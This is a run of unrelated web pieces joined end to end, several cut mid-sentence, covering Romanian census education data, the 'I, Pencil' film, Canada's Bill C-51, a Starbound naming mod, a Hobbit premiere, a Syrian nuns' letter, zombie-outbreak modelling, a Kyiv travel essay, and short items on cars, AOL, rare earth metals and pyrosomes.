On the other end of the spectrum (low illiteracy, very high levels of higher education) one finds the Jews (over half being college educated), the Armenians, and to a lesser degree the Greeks, the Italians and the heterogeneous “Other” group. What probably distinguishes these ethnic groups is probably their historic status as “mercantile minorities”, usually found in urban areas (cities usually have higher levels of education compared to the countryside).
While Serbs and Bulgarians tend to have a profile similar to ethnic Romanians, Ukrainians, Croats, Czechs and Slovaks tend to have higher rates than the national average in the ‘Secondary Education’ cathegory, while having lower rates at the extremes (college and no/primary education). This might be connected to them inhabiting mostly rural, mountainous areas.
Religion
When it comes to religious breakdown, the highest numbers of people with primary education or less are Muslims (due to the low rates among Turks and Muslim Roma) and Pentecostals (a denomination which also has many Roma converts). But while Muslims have average levels of college education, college graduates of the Pentecostal persuasion are just a third of the national rate, with small rates of high-school graduates as well. Many evangelical denominations also display lower than average higher education graduation rates, such as the 7th Day Adventists, Jehovah’s Witnesses, the Plymouth Brethren but interestingly enough, not the Baptists or the Romanian Evangelicals.
The traditional Hungarian denominations (Roman-Catholics, Reformed, Unitarians and Evangelical Lutherans) on the other hand tend to display lower college rates but higher levels of secondary schooling, especially vocational training.
On the other end of the spectrum we find Jews and Armenians once again, together with Atheists and those who declared No Religion (the Romanian census treats the two options as distinct). This fits in the general trend of the worldwide irreligiosity being correlated with higher levels of education.
One last interesting quirk is the higher than average post-high-school education among the Greek-Catholics. Reasons for this might be either their tradition of being an important part of the Transylvanian-Romanian intellectual elite, or a more pronounced tendency of the intellectuals to revert back to the Greek-Catholic identity after the church was legalized again post-1989 (the Greek-Catholic Church was outlawed and its assets given to the Orthodox Church by the Communist authorities in 1948).
Foreigners in Romania
The last visualization features roughly the same stats (minus rates of illiteracy and Bachelor’s only education) for people residing in Romania for more than 12 months at the time of the census.
The biggest surprise in the data is that all of the foreigners have rates of higher education above the Romanian average, with the notable exception of Tunisians, which are one percentage point below, which also displays a very rate of high-school-only educational level. Western Europeans, Middle Easterners, Ukrainians and first and foremost Americans all display levels of higher education at least twice as high as Romanian citizens.
This is probably due to the restricted levels of immigration, which have seen mostly „western expats” moving here due to work-related reasons, or the traditional „arab (medical) student” choosing to remain in the country after graduation.
Data: Romanian census of 2011
Made in LibreOffice Calc and Inkscape
AdvertisementsIn November 2012, the Competitive Enterprise Institute (CEI) released I, Pencil: The Movie, an animated short film adapted from the 1958 essay by Leonard E. Read, founder of the Foundation for Economic Education. CEI’s I, Pencil film and extended commentary series, featuring Larry Reed, Deirdre McCloskey, Art Carden, and Walter Williams is available online here.
Awards | Resources | Media | Reviews
The Story of I, Pencil
Do you know how to make a pencil? You don’t, do you? As Read explained in his classic essay, no single person on earth does. The pencil, like most modern wonders, is the end product of an intricate chain of human activity that spans the globe. There is no mastermind dictating the making of a pencil; not even the CEO of a pencil company could tell you exactly how to make one. It takes little bits of know-how of thousands of individuals—loggers in California, factory workers in China, miners in Sri Lanka, and everyone in between—to bring an ordinary wooden pencil into being. By trading their skills and labor for wages, these individuals each bring the pencil a step closer into being.
This is the miracle of the free market. People who are strangers to each other—who might even hate each other if they ever met—are cooperating every day to produce goods that others want, need, and enjoy. Markets compel men and women to voluntarily arrange themselves into efficient patterns of production through the pursuit of their individual interests. Without this constant spontaneous cooperation, the modern wonders of our world would not exist.
CEI’s Production of the I, Pencil Film
CEI adapted I, Pencil to translate Leonard Read’s story into an exciting and accessible film for the Internet age. Under the direction of libertarian filmmaker Nicholas Tucker, the project has successfully realized—and even exceeded—CEI’s original vision. At six minutes long and expertly animated, I, Pencil is a colorful, easy-to-share reimagining of Read’s timeless narrative.
CEI Founder Fred L. Smith, Jr. said:
“Throughout my career, I’ve sought new and better means of communicating classical liberal ideas to people of all political persuasions. Leonard Read’s original essay continues to be one of the most poignant free-market narratives I’ve ever come across. I’m proud of CEI’s film adaptation of Read’s work, and I’m very hopeful it will successfully bring classical liberal ideas to new and diverse audiences.”
Awards
Educational Resources
Associate Professor of Economics at Samford University, Art Carden created a one-day I, Pencil course curriculum for middle school, high school, and college classrooms, which is now being taught at all levels across the U.S. and abroad.
To supplement these educational materials, CEI produced a series of Extended Commentary videos on the fundamental themes of I, Pencil. Thematically organized by topic, the interviews cover Spontaneous Order, Connectivity, Trade & Specialization, Creative Destruction, and The Importance of I, Pencil featuring University of Illinois Professor Deirdre McCloskey, George Mason University Professor Walter E. Williams, Samford University Assistant Professor Art Carden, and Foundation for Economic Education (FEE) President Lawrence W. Reed.
Media
Reviews
Special Thanks
CEI owes great thanks to all those involved in the I, Pencil project. In particular, CEI is grateful to FEE for its help and support. Leonard Read founded FEE in 1946; now, today’s president Lawrence Reed gives his endorsement to CEI’s film:
“For more than half a century, Leonard Read’s classic story has opened eyes and changed minds by the hundreds of thousands. It humbles even the high and mighty as it reveals the wondrous achievements of individuals whose contributions are coordinated by nothing more than incentives and market prices. This film guarantees that the insights of Read’s humble pencil will continue to work their magic for many years to come!”
Please watch I, Pencil and share it with friends! You can also find it on YouTube.Bill C-51, the Conservatives' anti-terror legislation, received royal assent Thursday afternoon and is now law.
The bill has faced intense scrutiny for the expanded powers it gives the police and the Canadian Security Intelligence Service.
Opponents argue the bill's wording is too vague, which could lead to dangerous and unlawful measures.
Public Safety Minister Steven Blaney, who welcomed the bill's passage into law Thursday, has said the bill is necessary to keep Canadians safe.
Public Safety Minister Steven Blaney discusses Bill C-51 as the anti-terror measures become law 10:34
Now that the bill is law, what changes? Here are five differences you may notice under C-51.
1. Promoting terrorism: a jail offence
Under C-51, encouraging or promoting others to carry out terrorist acts becomes its own criminal offence under the Criminal Code. Individuals can be found guilty regardless of whether the terrorist act they are promoting is carried out. According to the bill, it could land someone up to five years in prison.
There's concern at how much this new offence could impact the right to free speech. The bill is targeted at people who encourage or promote "the commission of terrorism offences in general." Opponents argue this definition is neither defined nor clear, leading to differing interpretations and wrongful use of the law.
2. Crackdown on terrorist propaganda
Expect a larger crackdown on people who share both physical and online copies of terrorist propaganda. C-51 adds a section to the Criminal Code that allows a warrant to be issued for those who share physical copies of material a judge deems to be terrorist propaganda.
Public Safety Minister Steven Blaney speaks to a Senate national security committee who was hearing witnesses on C-51 on May 25. (Adrian Wyld/Canadian Press)
It's a more complex process if it's found online. Once a judge deems certain online content to be propaganda, they can order computer administrators to give them copies of the propaganda, take it offline and identify who posted it online. That individual can defend themselves in court, if they choose. If the judge still finds it to be terrorist propaganda, then they can ask administrators to permanently delete the content.
Again, the potentially broad definition of terrorism propoganda causes concern: "the writing, sign, visible representation or audio recording that advocates or promotes the commission of terrorism offences in general."
Could it snare more people than necessary in its web? Does it threaten free speech?
3. More arrests without warrant
Police will now have the power to preventatively arrest more people without a warrant. The bill makes slight tweaks to the current Criminal Code wording to widen the net of who police can arrest on suspicion.
Now someone can be arrested without a warrant if police believe the individualmay carry out terrorist acts. Under the previous wording, arrest without a warrant was allowed only when police believed terrorist acts will be carried out.
Police now have the power to arrest without warrant if it islikely that this will prevent a terrorist act. Before C-51 |
"Dragunov",
"Sloth",
"Muckamuck",
"Snake ",
"Railgun",
"Sharpshooter",
"Chasseur",
"Musket",
"Springfield",
"Lyudmila",
"Hayha"
No pics, no clicks!
No pics, no clicks!
And that's pretty much it! I hope you enjoy my mod. Please inform me of any errors, crashes, bugs, mistakes, etc.!
Starbound's weapon name generation system has gottenbetter since the beta. However, it's still lacking, with nonsense names such as "Pixeltosser", "Perfectplugger", "Howlpump", "Psigun", "Moonphaser", etc.Not only that, but there are only 8 possible prefixes for these names! If you're wondering why you keep seeing the words "Teklacki" and "Rotix" on your guns, it's because there's a severely low variety in terms of prefixes.This mod is here to fix that, by improving the name generation with coherent and sensible words!______________________________Each gun type - that is sniper rifles, shotguns, pistols, etc. now has 40 available prefixes and 20 available nouns - that'spossible, unique names for each gun type!All words that have been chosen to fit that gun type. Some are serious, some are silly, but all of them are fun.A lot of inspiration was taken from the Borderlands and Borderlands 2 weapon naming systems! If you're familiar with these games, you might enjoy this mod.Sure you can! Or you can choose to surprise yourself by not knowing any of them - the choice is yours.Well get ready to click like you've never clicked before, because here are some in-game examples of gun names!______________________________NEW Zealand has a new capital city.
Wellington has been re-named Middle of Middle-earth to celebrate tomorrow night's world premiere of the first of Peter Jackson's Hobbit movies, An Unexpected Journey.
The whole city has been gripped by Hobbit fever, with the character-wrapped Air New Zealand 777-300 aircraft flying in from Auckland today, bringing with it stars of the film including Graham McTavish, Aidan Turner, Sylvester McCoy and Dean O'Gorman.
Claims 27 animals died making the Hobbit movies
They were greeted at Wellington airport by Jackson and fellow actors Martin Freeman, Elijah Wood, Andy Serkis and James Nesbitt.
A12m sculpture of Gollum - a $250,000 piece crafted by local special effects studio WETA - greets passengers at the airport, where luggage can be collected from "Baggins Services".
Video: New trailer of The Hobbit's riddle scene
In the city centre, fans have gathered at a themed marketplace, premiere venue the Embassy Theatre is watched over by a 40ft tall Gandalf, Middle-earth dollars are circulating and mail is going out stamped "Middle-earth".
The head of WETA, Sir Richard Taylor, has three fans from Germany camped out in his living room.
WETA, which has worked on films including The Lord of the Rings trilogy, Avatar and King Kong, is allowing fans a rare glimpse into their creations by opening a window into their workshop for the next two months.
The fuss would be all for nought, of course, without a movie, and renowned perfectionist Jackson put the finishing touches on An Unexpected Journey only yesterday.
Australian actors Cate Blanchett, Hugo Weaving and Barry Humphries will attend the premiere.
The Hobbit: An Unexpected Journey opens in Australia on Boxing Day - two weeks after it opens for our Kiwi cousins.
The Hobbit-wrapped Air New Zealand jumbo will make some flights into Brisbane and Melbourne.We heard from Pope Francis earlier today, but how about testimony from folks who are a little closer to the action? Catholic World Report has a letter from Cistercian nuns who moved their monastery to Azeir, in Northern Syria, back in 2005. Here’s a snippet from an open letter they wrote to the world a few days ago.
We look at the people around us, our day workers who are all here as if suspended, stunned: “They’ve decided to attack us.” Today we went to Tartous…we felt the anger, the helplessness, the inability to formulate a sense to all this: the people trying their best to work and to live normally. You see the farmers watering their land, parents buying notebooks for the schools that are about to begin, unknowing children asking for a toy or an ice cream…you see the poor, so many of them, trying to scrape together a few coins. The streets are full of the “inner” refugees of Syria, who have come from all over to the only area left that is still relatively liveable…. You see the beauty of these hills, the smile on people’s faces, the good-natured gaze of a boy who is about to join the army and gives us the two or three peanuts he has in his pocket as a token of “togetherness”…. And then you remember that they have decided to bomb us tomorrow. … Just like that. Because “it’s time to do something,” as it is worded in the statements of the important men, who will be sipping their tea tomorrow as they watch TV to see how effective their humanitarian intervention will be….
The people are straining their eyes and ears in front of the television: all they’re waiting for is a word from Obama!
A word from Obama? Will the Nobel Peace Prize winner drop his sentence of war onto us? Despite all justice, all common sense, all mercy, all humility, all wisdom?
The Pope has spoken up, patriarchs and bishops have spoken up, numberless witnesses have spoken up, analysts and people of experience have spoken up, even the opponents of the regime have spoken up…. Yet here we all are, waiting for just one word from the great Obama? And if it weren’t him, it would be someone else. It isn’t he who is “the great one,” it is the Evil One who these days is really acting up.
The problem is that it has become too easy to pass lies off as noble gestures, to pass ruthless self-interest off as a search for justice, to pass the need to appear [strong] and to wield power off as a “moral responsibility not to look away…”
And despite all our globalizations and sources of information, it seems nothing can be verified. It seems that there is no such thing as a minimal scrap of truth … That is, they don’t want there to be any truth; while actually a truth does exist, and anyone honest would be able to find it, if they truly sought it out together, if they weren’t prevented by those who are in the service of other interests.Zombies could exterminate humanity in less than six months, according to recent research.
Researchers developed a complex new formula which calculates that 100 days into a zombie outbreak, just over 100 survivors will be left uninfected.
And within six months, these stragglers will also die or become zombies themselves.
Scroll down for video
Students at Leicester University were tasked with calculating the exact amount of time it would take for a zombie virus to infect every individual on Earth. Pictured is a zombie from TV programme The Walking Dead
Students at Leicester University were tasked with calculating the exact amount of time it would take for a zombie virus to infect every individual on Earth.
They developed a mathematical model for disease that predicts how an infection will spread through a population over time.
It predicts the rate at which infections spread and die off as humans come into contact with one another.
The students claim that while their results are interesting, the data they used is not perfect.
In their model, for instance, they did not account for humans killing zombies.
Researchers developed a complex new formula which calculates that 100 days into a zombie outbreak, just over 100 survivors will be left uninfected. And within six months, these stragglers will also die
'Including this may give the humans a better chance at survival,' the students conclude in their paper.
In October last year, researchers looked at how UK citizens were preparing for a zombie apocalypse, and where they were going wrong.
More than a third of the UK population (36 per cent) kept a few essentials – or a 'grab bag' – ready in case disaster strikes, according to the research.
But most of these grab bags wouldn't keep people alive in situations such as a zombie apocalypse, one expert claimed.
While food, medical supplies and mobiles phones were top of the list for a survival pack, not many people listed matches or a simple bottle among their essentials, the study found.
Professor Lewis Dartnell, a UK Space Agency research fellow based at the University of Kent, advised that a survival bag should contain: 'a fire-starting kit, water bottle, small knife, rope and food'.
SIX TIPS TO SURVIVE THE ZOMBIE APOCALYPSE FROM NEUROSCIENTISTS Scientists have previously dubbed the condition of being a zombie 'Conscious Deficit Hypoactivity Disorder', or CDHD, which they describe as an acquired syndrome in which infected people lack control over their actions. Don't fight: Zombies wouldn't have the neural responses to care about pain, so unless you could shoot to kill, it would be best to run for it. Keep quiet: Zombies with 'CDHD' would have very little memory and poor concentration, so if you hid, something else would likely capture their attention, keeping you safe. Zombies wouldn't be able to recognise faces so they identify each other by movements and sounds. 'If confronted with a herd of the undead with no clear avenue of escape, do what Shaun and his friends did in 'Shaun of the dead' – act like a zombie, the experts said Distract them: Damage to zombies' posterior parietal cortex would mean that they couldn't concentrate and would be at the mercy of whatever grabs their attention. Try fireworks for a quick getaway. Don't try reason: 'CDHD presents with a massive dysfunction of the language circuits in the brain. This means that zombies can't understand what you're saying, nor can they talk back,' the neuroscientists warned. Their 'fight' reaction would dominate, leaving you pleading with an angry hungry zombie. Mimic them: Zombies wouldn't be able to recognise faces so they identify each other by movements and sounds. 'If confronted with a herd of the undead with no clear avenue of escape, do what Shaun and his friends did in 'Shaun of the dead' – act like a zombie. Do it with enough accuracy and you can wander through the herd undetected,' the researchers said.
Scientists have previously dubbed the condition of being a zombie 'Conscious Deficit Hypoactivity Disorder', or CDHD, which they describe as an acquired syndrome in which infected people lack control over their actions
Professor Dartnell, who is the author of the book author of 'The Knowledge: How To Rebuild Our World From Scratch' advised that people head to the beach, the supermarket, or a golf course if an apocalypse should strike.
He said that glass is crucial to re-building and a beach offers sand as well as other raw materials such as chalk and seaweed.
Additionally, basic tools like a lathe can be made from sand and old drinks cans.
Those heading to the average supermarket should find enough supplies to keep them alive for 55 years.
Some 61 per cent of people would pack food to take with them in the event of a disaster, while 53 per cent would take medical supplies and 47 per cent would take mobile phones.
However, only 22 per cent thought to include matches in their survival kit, while only 10 per cent would take a bottle, which could be used to disinfect water.
'Clearly we shouldn't be worrying twenty four seven about a potential apocalypse but it's interesting to take a snap shot of where we are now and how we'd fare – individually and as a society,' said Professor Dartnell.
Heading to the supermarket in the event of a zombie apocalypse could provide a person with enough supplies to survive for 55 years
People were reasonably confident that they could handle basic first aid if disaster were to strike, with 68 per cent rating themselves as average to good, but just over half (53 per cent) thought that they had the skills to grow crops or rear animals.
A worryingly low 20 per cent said that they didn't know how to make chemical substances like fuel, while only 32 per cent thought that they could get engines to work and just 32 per cent believed they could make or repair metal tools.
The findings were released by The Big Bang UK Young Scientists & Engineers Fair to mark World Zombie Day on 8th October last year.
The organisers carried out a poll of 2,001 participants.
The fair claims to be the UK's largest celebration of science, technology, engineering and maths (STEM) for young people and runs 15-18 March 2017 at the NEC in Birmingham.
'People's survival instincts are strong but without a greater focus on STEM skills, the speed at which we'd return to'society as we know it' would be seriously impeded, said Professor Dartnell.
'Rather than duck and cover, the country needs to know how to stand and recover from any disaster.'
For those who manage to survive the apocalypse and wish to start re-building society, the research scientist and author says that 'electricity, soap, charcoal, a lathe to craft things with, and glass' are the most important things to make.
Paul Jackson, Chief Executive of EngineeringUK, organisers of The Big Bang Fair, said: 'Many of the skills required to rebuild communities in a post-apocalyptic world reflect those held by the professionals currently addressing the global challenges of sustainable energy, clean water supply and food security.
'Apocalypse or not – these will be critical to our future.
'The shows and activities at The Big Bang Fair capture the imagination of young visitors, showing them how they could apply what they learn in the classroom to tackle the big issues of the future'.I just returned from the Ukraine. I spent three days in the capital city of Kyiv (Kiev); two of which were spent on a sound stage for 14 hours. But when I was not on the sound stage, I explored Kyiv and found it a fascinating and beautiful city.
When I was told I was shooting a commercial in Kyiv, I was hesitant. I had heard about a lot of political unrest on the news surrounding Ukraine, but I knew very little and I had to do some research. The truth is, honestly, I could not have found Kyiv on a map if my life depended on it – I would have gotten close, but I literally had no clue where any cities I had heard of in Ukraine even were.
It might not sound so unusual to not know much about this part of the world since Americans tend to not know where anything is in the world – it’s part of our imperialist charm! – but I am half Ukrainian. And it stands to reason that if you are part Ukrainian that you might know a thing or two about the Ukraine. Actually, I found out on my last day in Kyiv that the city my Hungarian Grandmother lived closest to before the War now falls under Ukrainian territory. So technically, I am ¾ Ukrainian. Borders are funny that way. So is identity.
I never knew much about Ukraine because my family fled Ukraine. And what I know about Central and Eastern Europe is pieced together from mostly tragic family stories and from the books and lecture halls of UCLA where I took numerous courses about World War II and the Jewish populations of Central and Eastern Europe.
I know it sounds jarring to hear me talk about “The War” the way I do, and I – and many Jews – are often accused of wallowing in our persecution history and obsessing over suffering and the Holocaust. But here’s the deal: my grandparents’ lives were transformed by the pogroms and the Nazi regime which sought to eliminate Jews – as well as other groups – from the planet. This kind of genocide is unparalleled in history – my grandparents lived in a time when they literally had to run for their lives in order to live. And I grew up with this right up in my face: one grandmother who couldn’t talk about the war because she would start crying so hard that I would stop asking; my other grandmother denied her Polish citizenship and I only discovered the fact that she grew up in Poland in my 30s. My Polish grandfather had nothing good to say about Poland; he lived a life of persecution because of his ethnicity as a Jew. This is how disturbing this part of the world was for my family; I was raised to understand that our identity was always that of being distinctly and undeniably Jewish no matter the country we were trying to fit into.
And so when I found out I would be traveling to Kyiv, I was tentative. We fled from there; why go back? We used to roam these streets. We were citizens. We contributed. We ate Ukrainian food and we spoke Ukrainian (as well as Yiddish, of course) and we tried to be a part of. Cities like Lvov and Uman produced some of the greatest Rabbis and thinkers of our people. And in certain cities, Jews owned more than 75% of the stores. And when the Nazis came in, they shot tens of thousands of Jews in the course of days and threw their bodies in pits to rot.
And so what did it feel like to go back? It felt strange. And it felt amazing.
The people and the flavor of Kyiv is an incredible blend of “old world” and modernity. The men are exceedingly polite and respectful of women without being macho; there is a shyness and a ‘small town’ feel even though it is a substantial city. Waiters are direct and kind of bossy but in a really sweet way. Everything is very inexpensive and the dollar goes far there. Kyiv is not at all pretentious or fancy; it is a well lived-in city and it is urban for sure. It is Catholic but not in the way that Italian cities feel Catholic. Every street in the main part of the city is lined with trees and there are parks and statues everywhere and so many shades of red and green and yellow and blue on buildings towering over a modest and intelligent population of people who are still reeling from the pressures and oppression of Communism – people who have tremendous pride, faith and love for the same things we all desire: stability, happiness and success.
By going to Kyiv, a place my family fled, I got to return as an American. An independent woman. A scientist. A mother. A daughter. And yes: a granddaughter. I took my grandparents with me to Kyiv and my great-grandparents too. I am alive and my existence is their legacy. I am made of their DNA. I often wonder which one of my relatives could sing like me? Who made people laugh like I do? Who looked at their sons the way I look at mine? Who stood under a chuppah [wedding canopy] as in love as I was when I took my vows? Who laughed with their whole body when they found something funny? Who cried out when they witnessed injustice? Someone in my family did all of these things, once. And I am all of them now. I stand for them. I live for them. And I go the places they were kicked out of for them.
When I go somewhere like beautiful Kyiv, I can’t help being me; I can’t help recall what we lost here. We lost our language and our homes here. We lost our mothers and father and our siblings. We lost children and we lost lovers. They tried to make us go. But they could only bend us; they could not break us.
For thousands of years, this has been our story. And I will continue to spend my life returning again and again to these places – I have already been to so many but there are so many more – to show that we are still here. Once, our ancestors worked to support the economy of this country even though they were denied the benefits they should have received for their labor; now we return as tourists and employers and contribute to its economy to benefit those who were not forced to flee for their lives.
I would go again to Kyiv; but next time, I will also go for longer so that I can go other places. I want to go again to that part of the world – I want to keep going until I have been everywhere they sent us out from. I will one day go to Lvov and to Uman and I will go to Muncasz and to Suvalki and to Bialystock and to Odessa and I will do it joyfully and gratefully. As an affirmation of the simple fact that I am alive as a Jew; and as the greatest act of retribution I can conjure: the act of being me in a place that tried to stop me from even existing.
I am here. Thank you, Kyiv for bringing me back.Fans of our old map testing streams will know that we can sometimes spend an abundance of time just reviewing someone’s minigame lobby. It’s important to set the theme, let people know how to play, or just huddle together until everyone is ready to hop into the gameplay. It’s hard to get right, but Sky Walker has one of our favorite lobbies to date! There’s a clear way to start the game, and attention has been paid to the background, while not distracting from what you need to do in the main area. Fantastic! Ah yes, the minigame itself plays great too! You and your friends have to step on the shifting blocks and not fall off. That’s it! Try to beat our top score of approximately seven and a half seconds; we believe in you.
‘Tis Almost the Season!
With autumn firmly here in Stockholm, we’re looking towards the holidays such as Spooky Day, Gunpowder Day, Turkey Day, Julafton, Juldagen, and Annandag Jul (that’s 3x Santa Day, in Swedish)! Last year, we released loads of maps based around holiday or seasonal themes. Were you looking forward to that again, or something totally different? Drop me your thoughts on what kind of content you look forward to over at Twitter dot com.
To learn about loading this and other content into Java Realms for your PC, visit our help site. If you haven't yet tried Realms for yourself, you'll have a blue diamond on the Minecraft Realms button, located on the main screen of Minecraft: Java Edition. Click it, then follow the instructions to try Realms free for 30 days.
Happy Minecrafting!Ford Mustang Mach 1 Twister Reading time: about 2 minutes. American
Cars
Ford
Rare
The 1970 Ford Mustang Mach 1 Twister was a special edition car offered only to dealers in the Kansas City area, 96 were made in total and today they regularly command prices at auction well in excess of $100,000 USD.
The strategy behind the Twister Mustang was a simple one – Ford wanted to sell more cars and they’d had considerable success in the past with the California Special GT Mustang, another car only offered in a specific geographic location.
The Twister name came from the tornadoes that often tore through the Kansas countryside, this being seen as an effective metaphor for the intentions of the kind of people that would order a 300+ hp Twister.
Grabber Orange was the only color available for the model, with exclusive “Twister Special” graphics that were applied at the Ford assembly plant in Kansas City. Originally it had been intended that the 428 Super Cobra Jet engine would be fitted to all 96 cars, but an engine shortage resulted in half the cars being fitted with the 351 Cleveland V8. All engines fitted to Twisters were blueprinted and offered with either an automatic or manual transmissions.
The car you see here is one of the 48 fitted with the 351 Cleveland, it’s still fitted with its original matching numbers drivetrain, Magnum 500 wheels, rear window Sport Slats, dual racing-style mirrors, a shaker hood with hood tie-downs, spoilers front and back, Twister graphics, air-conditioning, power steering and power brakes.
The 1970 Mustang has long been a contentious car, some love the design and some think it was a step too far away from the styling of the original ’64 model. I’ve always personally been in the former camp – in fact I’d go so far as to say that the 1970 Mustang is one of the best looking designs from the first generation.
If you’d like to read more about this car or register to bid on it you can click here to visit Auctions America.
Photo Credits: Darin Schnabel © 2015 Auctions AmericaNEW YORK/LOS ANGELES, Feb 7 (Reuters) - AOL Inc Chief Executive Tim Armstrong tried to tamp down a backlash after he linked a cut to pension benefits with rising insurance costs due to two employees’ “distressed babies,” insisting that the Internet provider was focused on families.
Armstrong’s comments on Thursday during a company town hall about why it was cutting 401(k) contributions caused a fire storm on social media overshadowing positive quarterly results from AOL and marked the second recent instance when a gaffe by Armstrong left the CEO with some explaining to do.
During the meeting, Armstrong singled out two unidentified employees who had babies with health issues in 2012.
“We had two AOL-ers that had distressed babies that were born that we paid a million dollars each to make sure those babies were OK in general,” Armstrong said, according to the Capital New York, which first reported it.
He said changes to the company’s 401(k) retirement plan were made in the wake of President Barack Obama’s healthcare law, which he said added $7.1 million in expenses for the online media and entertainment company.
After the town hall, Armstrong sought to clarify his remarks in a memo to AOL’s 5,000 employees.
“I discussed the increases we and many other companies are seeing in healthcare costs,” he wrote. “In that context, I mentioned high-risk pregnancy as just one of many examples of how our company supports families when they are in need. We will continue supporting members of the AOL family.”
Armstrong’s comment was satirized by the technology blog ValleyWag, which posted a graphic counting Armstrong’s multimillion-dollar salary in units of distressed babies.
It was the second time that Armstrong found himself on the defensive after making spontaneous comments during company meetings. In August, Armstrong issued an apology after publicly firing a Patch in front of a thousand employees.
An AOL spokesman declined to comment on the latest gaffe.
Armstrong’s comments came on the same day that the company reported better-than-expected results and its best year of growth in a decade. AOL reported $36 million in net income during the fourth quarter on $679 million in revenue.
AOL shares were down 2.8 percent at $45.81 a share on Friday after falling on Thursday as well.If you think renewable energies will become an increasingly cheaper alternative to petrol – think again now that there’s peak minerals.
As the world moves toward greater use of zero- carbon energy sources, the supply of certain key metals needed for such clean-energy technologies may dry up, inflating per unit costs and driving the renewable energy market out of business. We’ve talked about peak phosphorus for food; now consider that rare earth metals like neodymium which are used in magnets to help drive wind energy turbines, and dysprosium needed for electric car performance are becoming less available on the planet.
Until the 1980s, the most powerful magnets available were those made from an alloy containing samarium and cobalt. But mining and processing those metals presented challenges: samarium, one of 17 so-called “rare earth elements”, was costly to refine, and most cobalt came from mines in unstable regions of Africa.
In 1982, researchers at General Motors developed a magnet based on neodymium, also a rare earth metal but more abundant than samarium, and at the time, it was cheaper.
When combined with iron and boron, both readily available elements, it produced very strong magnets. Nowadays wind turbines, one of the fastest-growing sources of emissions-free electricity, rely on neodymium magnets. In the electric drive motor of a hybrid car neodymium-based magnets are essential.
Imagine that one kilogram of neodymium can deliver 80 horsepower, enough to move a 3,000-pound vehicle like the Toyota Prius. When the second rare earth metal dysprosium is added to the alloy, performance at high temperatures is preserved.
Soaring Demand for Rare Earth Metals
These two metals have exceptional magnetic properties that make them especially well-suited to use in highly efficient, lightweight motors and batteries.
However, according to a new MIT study led by a team of researchers at MIT’s Materials Systems Laboratory and co-authored by three researchers from Ford Motor Company, the supply of both elements neodymium and dysprosium — currently imported almost exclusively from China — could face significant shortages in coming years.
The study looked at ten so-called “rare earth metals,” a group of 17 elements that have similar properties and which have some uses in high-tech equipment, in many cases in technology related to low-carbon energy.
Of those ten, two are likely to face serious supply challenges in the coming years.
Neodymium and dysprosium are not the most widely used rare earth elements, but they are the ones expected to see the biggest “pinch” in supplies, due to projected rapid growth in demand for high-performance permanent magnets.
The biggest challenge is likely to be for dysprosium: Demand could increase by 2,600 percent over the next 25 years while Neodymium demand could increase by as much as 700%.
A single large wind turbine (rated at about 3.5 megawatts) typically contains 600 kilograms of rare earth metals.
A conventional car uses approximately a half kilogram of rare earth materials while an electric car uses nearly ten times as much. The picture starts to become clear, clean technology requires a lot of rare elements, and relying on clean technology is what the whole world is striving for – including the Middle East and North Africa.
Rare earth metals will become the next political obsession.
China has it all
Currently, China produces 98% of the world’s rare earth metals and tightly regulates their export, making those metals “the most geographically concentrated of any commercial-scale resource,” says Kirchain, one of the MIT researchers.
In 2010, China suspended exports of rare earths to Japan over a territorial dispute. The commotion caused neodymium prices to soar to nearly $500 a kilogram by the summer of 2011, from less than $50 a kilogram at the start of 2010. Politically, China will become a vital strategic partner for national security and for clean energy industries in the coming years.
If supply will not meet demand, and is the resulting price surge will make these metals no longer economically viable, the renewable energy sector will also suffer considerably. What will be the alternative then?
One solution is to investigate new sources of these materials, improve the efficiency of their use, identify substitute materials or develop the infrastructure to recycle the metals.
Barbara Reck, a senior research scientist at Yale University, says “the results highlight the serious supply challenges that some of the rare earths may face in a low-carbon society.” The MIT study is “also a vivid reminder that the current practice of not recycling any rare earths at end-of-life is unsustainable and needs to be reversed.”
Image of Neodymium (Nd) via Wikipedia
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commentsThis episode of Synapse discusses student journalists’ and other Louisville youth perspectives on the shooting of Michael Brown and its aftermath.
Directly below are interesting interviews with Manual students that we couldn’t include in the episode.
Related Links:
– The full interviews with Julian Wright, Jahne Brown, and Farren Vaughan.
– PBS’s timeline of the Ferguson events.
– CNN’s account of Wesley Lowery and other journalists being arrested or detained.
– Polarbear Productions’ and Info Wars’ coverage of the Ferguson protests.
Music:
“Battle Boss” – BoxCat Games
“Candlepower” – Chris Zabriskie
“Readers, do you read?” – Chris Zabriskie
“Cylinder Six” – Chris Zabriskie
“Cylinder Three” – Chris Zabriskie
“Police Hour” – fOF
Ways to listen to the podcast:
On Soundcloud.
On Youtube.
On iTunes.
Peter Champelli Peter Champelli is a co-Editor in Chief of Manual RedEye. Throughout high school he has taken on independent projects such as creating short films and producing the award-winning podcast Synapse, and more recently he has applied his videography skills to making music videos for local bands and artists. During his free time he likes to juggle and practice coding.NEWPORT, Ore. -- The ocean waters off the Oregon Coast are now full of strange looking creatures called pyrosomes that set off a glow, according to National Oceanic and Atmospheric Administration officials
A June blog post from the the agency's Northwest Fisheries Science Center says the creatures likely are here because of warm ocean conditions the past three years. A February blog post also details their emergence.
"Pyrosomes have become the center of attention with reports of them washing up on beaches, clogging up fishing and research gear, and causing a general sense of befuddlement for people who have been frequenting these waters for many years," writes researcher Hilarie Sorensen, "but to our knowledge, have never seen these creatures in such high densities off of the Oregon coast before."
The pyrosomes first started appearing in large numbers in 2015 and grew exponentially this year, she wrote. The greatest numbers are 40 to 150 miles offshore.
They feed on plankton and natural predators include dolphins, whales and fish. They submerge several hundred yards during the day and rise up to the surface at night.
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More: Global 'blobs' getting more extreme
Inside his NOAA research lab at the Hatfield Marine Science Center in Newport, oceanogpraher Rick Brodeur is studying the creatures.
"When I first saw it I didn't even know what it was," he said.
Brodeur says he first saw a pyrosome in this area two years ago. The creatures are normally found far offshore in the tropics. Researchers say they started showing up in astounding numbers off Oregon's coast last month.
"As an example we had a crew out last month where they did a five minute tow and they collected about 60,000 of them," Brodeur said.
The creatures look sort of like a translucent pickle. Each one is made up of hundreds of individual organisms working together as a colony.
Oregon State University researcher Jennifer Fisher and her colleagues shot video of the creatures last month.
"We hooked up a GoPro camera to a net and we sent it down in the water and we were just dumbfounded on how many organisms there were," she said.
Fisher said the warmer ocean temperatures of recent years may have brought the pyrosomes up here. However, they may not be staying for long.
Fisher pointed out that during a research trip last week, she found significantly fewer of the creatures.
"They seem to have either died or potentially moved further off shore and into a different region or they could be patchy and we just didn't get them that night," she explained.
Scientists with both NOAA and OSU will be setting out on a lot more research trips in the coming weeks.
They're goal is to find, capture, and study the mysterious creatures and find out more about them.
